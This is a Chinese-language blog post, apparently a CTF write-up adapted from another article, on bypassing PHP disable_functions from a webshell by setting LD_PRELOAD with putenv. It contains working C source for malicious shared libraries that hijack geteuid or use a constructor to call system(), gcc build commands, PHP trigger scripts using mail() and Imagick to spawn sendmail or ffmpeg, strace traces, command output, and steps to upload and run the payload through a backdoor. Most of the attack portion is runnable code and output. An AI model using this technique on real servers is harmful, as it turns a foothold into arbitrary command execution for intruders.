通过LD_PRELOAD与putenv组合拳绕过disable_functions函数
使用场景:
当拿到了一个网站shell,但命令基本都无法使用时,就很有可能是disable_functions导致的。
无命令执行功能的 webshell 是无意义的,得突破!
首先来介绍下我们需要使用的两个函数:
LD_PRELOAD:
google给出如下定义:
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
即LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。
PUTENV函数:可以设置环境变量
putenv ( string $setting ) : bool
添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
一般而言,利用漏洞控制 web 启动新进程 a.bin,a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
传统方式(hijacking function)
在已有的文章中显示,一般使用phpmail()
函数进行触发,我们简单分析一下
这里简单写个demo
<?php
mail('','','','');
?>
我们strace一下,可以看到运行这个脚本的时候,程序会启子进程来调用sendmail
execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0
那么我们只要看一下sendmail使用了哪些函数
有很多函数可以使用,这里可以选择geteuid(),然后我们编写自己的evil shared libraries:hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后编译一下
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
然后我们运行脚本
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
不难发现它执行了命令,然后可以发现/tmp目录下多了一个文件sky
root@sky:~# ls /tmp | grep sky
sky
我们查看一下
root@sky:~# cat /tmp/sky
bin
boot
dev
etc
home
lib
lib32
....
发现成功执行命令
但是这是基于存在sendmail()这个常用函数的基础上,如果目标的sendmail()函数也被禁用了那该怎么办呢?
下面来介绍改进版的:
改进版(hijack shared library)
已经没有了sendmail,但我们依旧可以进行rce,可使用如下文件sky.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
其中__attribute__ ((__constructor__))
有如下说明
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
所以当我们最开始将evil shared library load上后,就会触发__attribute__ ((__constructor__))
,从而达成我们rce的目的.
常考察的还有php-imagick
我们发现如下对应关系
我们发现当文件是MPEG format时,程序会调用’ffmpeg’ program进行转换,而如下后缀都被认为成MPEG format
我们测试一下.wmv
写出脚本
<?php
$img = new Imagick('sky.wmv');
?>
我们测试一下
execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0
[pid 25217] execve("/bin/sh", ["sh", "-c", ""ffmpeg" -v -1 -i "/tmp/magick-2"...], [/* 21 vars */]) = 0
可以发现的确成功启动了子进程,调用了ffmpeg
但是如果sky.wmv文件不存在时
execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0
则不会调用ffmpeg
所以也不难分析出,应该是有一步判断文件是否存在的操作,再会去进行调用相关程序进行解码转换的操作
所以如果想利用Imagick新起子进程,那么我们得先有后面的参数文件,当然这并不是什么难事。
payload & attack
那么只剩最后的攻击了,找到了可以起子进程的方式,只差构造evil shared library了
我们还是用之前的sky.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
然后编译一下
gcc -c -fPIC sky.c -o sky
gcc --share sky -o sky.so
测试一下
<?php
putenv("LD_PRELOAD=./sky.so");
$img = new Imagick('sky.wmv');
?>
运行发现
root@sky:~# php sky.php
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 lost+found media mnt opt proc root run sbin srv sys test tmp usr var vmlinuz vmlinuz.old
PHP Fatal error: Uncaught ImagickException: unable to open image `/tmp/magick-25528VpF8npGTawCz.pam': No such file or directory @ error/blob.c/OpenBlob/2712 in /root/sky.php:3
Stack trace:
#0 /root/sky.php(3): Imagick->__construct('sky.wmv')
#1 {main}
thrown in /root/sky.php on line 3
我们成功的进行了列目录
这里串一下思路:
首先执行sky.php ,设置了恶意环境变量。下一步我们需要调用子进程来加载环境变量,所以这里就会使用new imagick(‘sky.wmv’),调用了ffmpeg这个子进程,这个进程在加载之前就调用了环境变量,加载了共享对象sky.so.加载完后它会自动执行__attribute__ ((constructor)),就会调用system命令。
getflag流程:
那么现在思路很清晰:
1.把我们的sky.so和sky.wmv上传到题目的/tmp/sandbox中
2.利用backdoor运行sky.php
3.在tmp目录读取重定向的结果
参考:https://www.anquanke.com/post/id/175403 (膜拜大佬,基本都是搬过来的,自己的代码功底太弱,大佬讲的又非常好就搬运了一下)
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!